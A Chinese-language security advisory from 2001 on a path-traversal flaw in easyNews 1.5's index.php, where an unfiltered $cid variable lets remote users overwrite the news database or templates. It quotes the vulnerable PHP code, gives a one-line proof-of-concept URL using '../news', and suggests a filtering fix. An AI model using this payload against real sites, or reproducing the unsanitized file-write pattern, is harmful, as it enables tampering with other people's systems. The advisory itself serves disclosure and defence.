EasyNews 数据库/模板文件修改漏洞
发布日期:2001-12-01
更新日期:2001-12-14
受影响系统:easyScripts easyNews 1.5
描述:
BUGTRAQ ID: 3643
EasyNews是一款免费,开放源代码的站点新闻脚本。
该脚本存在一个安全问题,可能导致远程攻击者修改新闻数据库或模板文件信息。
这是由于“index.php”没有对用户输入的“$cid”变量进行过滤的结果,有问题的代
码如下:
---cut---
function save($datei, $eintragen)
{
$fp = fopen($datei, "w");
fwrite($fp, $eintragen);
fclose($fp);
}
if($name&&$email&&$kommentar)
{
$message = "<font face=\"Verdana, Arial, Sans-Serif\"
size=\"2\"><center>Vielen Dank für Ihren Kommentar!<br><br><a
href=\"$PHP_SELF?action=comments&id=$id&cid=$cid\">Zurück zu den
Kommentaren</a><center></font>";
if(!file_exists("./kommentare/$cid.dat")) save("./kommentare/$cid.dat","");
$line = file("./kommentare/$cid.dat");
$line[sizeof($line)] = "$name,$email,$datum,$zeit,$kommentar\n";
save("./kommentare/$cid.dat",implode("",$line));
}
---cut---
<*来源:markus arndt (
markus-arndt@web.de)
链接:
http://archives.neohapsis.com/archives/bugtraq/2001-12/0000.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
markus arndt (
markus-arndt@web.de)提供了如下测试代码:
http://[target]/index.php?action=comments&do=save&id=1&cid=../news&name=11/1
1/11&kommentar=%20&email=hax0r&zeit=you%20suck,11:11,../news,bugs@securityal
ert.com&datum=easynews%20exploited
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 手工修改“index.php”,在适当位置增加如下代码:
if (eregi("\.",$cid)) {
die("Invalid cid!");
}
厂商补丁:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本:
http://easyscripts.power-gaming.de/index.php?page=easynews
浏览次数:3662
严重程度:0(网友投票)